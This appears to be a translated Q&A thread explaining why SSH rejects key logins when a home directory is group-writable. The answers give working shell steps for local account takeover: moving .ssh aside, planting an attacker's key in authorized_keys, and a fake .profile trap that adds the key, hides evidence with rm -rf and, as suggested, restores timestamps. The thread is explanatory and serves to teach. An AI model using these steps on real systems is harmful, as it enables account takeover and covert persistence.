我花了很长时间试图弄清楚为什么使用公钥-私钥的 SSH 在两台服务器之间不起作用。事实证明,原因是用户的主目录对于我尝试连接的服务器上的组是可写的。
当用户文件夹对组可写时,与对组不可写时相比,SSH 拒绝公私钥登录的安全风险增加了多少?我理解 .ssh 文件夹本身以及其中的文件预期限制的原因。但是,为什么主目录本身存在危险?什么星座会危险地做到这一点?
答案1
如果主目录是组可写的,则该组中的任何用户都可以修改.ssh
目录本身,例如:
mv ~some_user/.ssh /who/cares/where
mkdir ~some_user/.ssh
cp /my/public/key ~some_user/.ssh/authorized_keys
并获得对该用户帐户的访问权限。
答案2
如果/home
或.ssh
目录的任何其他父目录是可写的,我可以将直接子目录移开,至少导致拒绝服务:
ls -ld /home
drwxrwxrwx 9 root root 20480 Sep 4 21:28 /home
mv /home/victim /home/casualty
现在victim
无法使用 ssh 密钥登录。 (不过,密码仍然有效。)
让我们假设“受害者”拥有有效的密码,并且可以将密钥失败ssh
视为其中之一。特别是(我们希望)这不会是一个可重现的问题。在这种情况下,我们可以创建一个安静的权限升级:
# Save the original directory and contents
mv /home/victim /home/casualty
mkdir -m777 /home/victim
# Create a fake profile to place and then hide the evidence
cat <<'EOF' >/home/victim/.profile
if [ -r /tmp/.id.pub ] && [ -d /home/casualty ]
then
# Not really very nice
mkdir -m700 -p /home/casualty/.ssh
cat /tmp/.id.pub >>/home/casualty/.ssh/authorized_keys
fi
mv /home/victim /home/victim.nomore
mv /home/casualty /home/victim
if [ "$SHELL" = /bin/bash ]
then
if [ -f /home/victim/.bash_profile ]
then
. /home/victim/.bash_profile
elif [ -f /home/victim/.profile ]
then
. /home/victim/.profile
fi
else
[ -f /home/victim/.profile ] && . /home/victim/.profile
fi
rm -rf /home/victim.nomore
EOF
最后,将您自己的ssh
公钥放入/tmp/.id.pub
并等待受害者登录。一旦他们完成,您应该发现您自己的ssh
密钥已添加到他们的authorized_keys
列表中,您可以以他们的身份登录:
ssh victim@remoteHost
为了获得奖励积分,您可以扩展攻击以捕获authorized_keys
文件上的原始日期戳,并在添加您自己的密钥后恢复它(请参阅stat --format '%Y'
和touch --date
)。
如果情况只是用户的主目录本身可写,那么据我所知ssh
仅针对密钥本身生成拒绝服务:
cd ~victim
mv .ssh .ssh.casualty
要么就这样保留,以便ssh
密钥不再可用,或者尝试添加新密钥:
mkdir -m755 .ssh
cat /tmp/.id.pub .ssh.casualty/authorized_keys >.ssh/authorized_keys
在第二种情况下ssh
,反对,攻击失败:
Sep 5 15:16:51 pi sshd[16695]: Authentication refused: bad ownership or modes for directory /home/victim
但是,所有权和权限仍然会受到检查.ssh
,.ssh/authorized_keys
因此您的情况实际上并没有更好。